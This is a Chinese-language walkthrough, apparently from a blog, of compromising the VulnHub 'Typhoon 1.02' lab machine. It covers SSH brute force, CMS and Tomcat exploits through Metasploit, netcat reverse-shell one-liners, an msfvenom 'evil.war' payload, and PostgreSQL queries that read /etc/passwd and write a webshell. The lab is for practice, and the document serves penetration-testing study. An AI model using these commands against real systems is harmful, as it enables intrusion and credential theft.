靶机下载地址: https://www.vulnhub.com/entry/typhoon-102,267/
一, 主机发现
1.netdiscover -i eth0 -r 192.168.10.0/24, 进过分析, 确定 192.168.10.162 是目标靶机
二, 端口扫描
1. masscan --rate=10000 -p0-65535 192.168.10.162
三端口服务识别
1. nmap -sV -T4 -O -p 110,139,631,21,46818,56669,143,53,5432,60954,8080,27017,22,25,3306,445,54180,995,6379,111,2049,37214,80,993 192.168.10.162
或 nmap -sV -p- -A 192.168.10.162
四, 漏洞查找与利用
21 端口 (ftp)
nmap 扫描可以匿名访问
浏览器访问, 发现什么都没有
22 端口 (SSH)
发现 SSH 的版本是 OpenSSH 6.6.1p1, 存在用户名枚举漏洞, 使用 msf 中的 SSH 枚举脚本 (auxiliary/scanner/SSH/ssh_enumusers)
使用 cewl 收集页面可能是用户的信息, 并添加几个常用的用户名, 制作一个用户名字典
使用枚举用户脚本枚举用户
python 40136.py 192.168.10.162 -U user.txt
枚举出来用户名为 vulnerablevm,www,admin,root,admin123
使用 hydra 破解密码
hydra -l admin -P /root/rockyou.txt SSH://192.168.10.162 -t 6, 下图成功破解 admin 账户的密码 metallica
尝试用 admin 账户 SSH 登录目标, 登录成功
开始提权, 提权方式与下面的提权方式一样
25 端口 (smtp)
发现开放 25 端口, 版本为 Postfix smtpd
使用 smtp-user-enum 枚举用户名
smtp-user-enum -M VRFY -U user.txt -t 192.168.10.162, 枚举出用户名 admin
53 端口 (DNS ISC BIND9.9.5-3)
查看是否存在漏洞, 发现 dns 版本存在拒绝服务漏洞
80 端口 (http Apache httpd 2.4.7)
1. 扫描网站后台目录
1.1 发现 http://192.168.10.162/cms, 尝试弱口令, 失败
1.2 漏洞库查找是否有对应的漏洞
1.3 在 kali 中打开 msfconsole, 并使用了以下 exp
1.4 成功获得 shell
1.5 然后就是提权, 提权方式有配置不当提权和内核提权
Drupal cms
2.1 发现 192.168.10.162/Drupal/
2.2 漏洞库查找是否有对应的漏洞
2.3 在 kali 中打开 msfconsole, 并使用了以下 exp
2.4 设置参数
2.5 开始攻击, 成功获得 shell
2.6 接下开便是提权了, 提权方式和之前的一样
1.3 发现 http://192.168.10.162/mongoadmin/
1.3.1 发现是 mondo 的 web 管理页面, 点击 change database, 出现如下
1.3.2 点击 creds, 发现账户密码
1.3.3 尝试用 SSH 登录, 成功登陆
1.3.4 查看系统版本以及内核版本
1.3.5 在 kali 查看是否有对应的漏洞
1.3.6 下载, 编译, 提权
1.3.7 利用 sudo 提权, 前提是已经获得当前普通用户的密码, 并且当前用户属于 sudo 组, 下图成功获得管理员权限
445 端口
发现目标开放了 445 端口, 使用 enum4linux 枚举目标共享信息
发现允许空账户, 空密码登录, 共享文件 typhoon
远程挂载
mount -t cifs -o username='',password='' //192.168.10.162/typhoon /mnt
8080(http Apache Tomcat/Coyote JSP engine 1.1)
发现开放了 8080, 浏览器访问 http://192.168.10.162:8080
dirb 扫描 http://192.168.10.162:8080
发现 http://192.168.10.162:8080/manager/, 提示需要输入密码
使用 msf auxiliary/scanner/http/tomcat_mgr_login 破解 tomcat 用户名密码
成功获得 tomcat 用户名密码
使用获得的用户名登录, 发现 tomcat 的版本是 Version 7.0.52
使用 metasploit 的一个模块 tomcat_mgr_upload 来尝试进行登录, 利用成功, 获得 meterpreter 会话
输入 shell, 发现当前 shell 不是交互式的 shell, 重新打开一个交互式的 shell
python -c 'import pty;pty.spawn("/bin/bash")'
开始提权
1.1 查看内核版本以及系统版本
1.2 利用系统版本的漏洞, 进行本地提权
2. 利用配置不当进行提权
2.2 我们需要使用 Msfvenom 创建一个 bash 代码
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.151 lport=9999 R
2.3 之后将上面生成的恶意代码在目标靶机系统中添加到 script.sh 文件
echo "mkfifo /tmp/ruoljay; nc 192.168.10.151 9999 0</tmp/ ruoljay | /bin/sh>/tmp/ ruoljay 2>&1; rm /tmp/ ruoljay"> script.sh
2.4 在攻击端开启监听, 目标端执行脚本, 下图可以看到直接获得管理员权限
3.1 用低权限用户将构造的命令写入 script.sh, 令文件调用以 root 身份运行的 / bin/sh, 然后反弹 shell, 就可以获得 root 权限了
Echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 8888>/tmp/f;">script.sh
3.2 在 kali 攻击端监听, 获得管理员权限
Tomcat 的后台管理获取 shell
http://192.168.10.162:8080/manager/html
1.msfvenom 来生 WAR 文件
msfvenom -p Linux/x86/shell_reverse_tcp lhost=192.168.10.151 lport=5555 -f war -o evil.war
2. 使用 7z l evil.war 查看 evulll.war 具体内容
3. 上传 evil.war 文件
4. 攻击端监听, 浏览器访问上传的恶意 Web 应用程序
http://192.168.10.162:8080/evil/wjsdgaavcuyf.jsp
5. 这次攻击端获得反弹 shell
6. 接下来便是提权, 方式和之前的一样.
5432(PostgreSQL)
1. 使用 auxiliary/scanner/postgres/postgres_login, 尝试爆破 PostgreSQL 数据库用户名密码
2. 成功爆破出来 PostgreSQL 用户名以及密码
3. 登录数据库
psql -h 192.168.10.162 -U postgres
4. 列下目录
5. 读取权限允许的文件
select pg_read_file('postgresql.conf',0,1000);
6. 建表, 并使用 copy 从文件写入数据到表
DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;
成功读取到了 / etc/passwd 第一行
7. 直接读出所有数据
SELECT * FROM MrLee;
8. 利用数据库写文件
- INSERT INTO MrLee(t) VALUES('hello,MrLee');
- COPY MrLee(t) TO '/tmp/MrLee';
SELECT * FROM MrLee;
显示里面有一句 hello,MrLee, 成功写入文件, 并成功读取到源内容
9. 写入木马
9.1 创建 OID, 清空内容
- SELECT lo_create(9999);
- delete from pg_largeobject where loid=9999;
- // 创建 OID, 清空内容
9.2 接下来就是写入木马了, 使用 hex
insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('.....', 'hex'));
10. 菜刀连接
11. 接下来就是提权了
总结:
1. 信息收集, 目录扫描, 漏洞分析与利用
2.getshell 方法
1.SSH 爆破
2.lotus cms 漏洞利用
3.Drupal cms 漏洞利用
4.mongoadmin 数据库管理 Web 页面查看用户名, 密码
5.tomcat tomcat_mgr_upload 漏洞
6.PostgreSQL 未授权访问
3. 提权方法
1.sudo 提权
2. 内核版本提权
3. 利用配置不当进行提权
来源: https://www.cnblogs.com/yuzly/p/10835932.html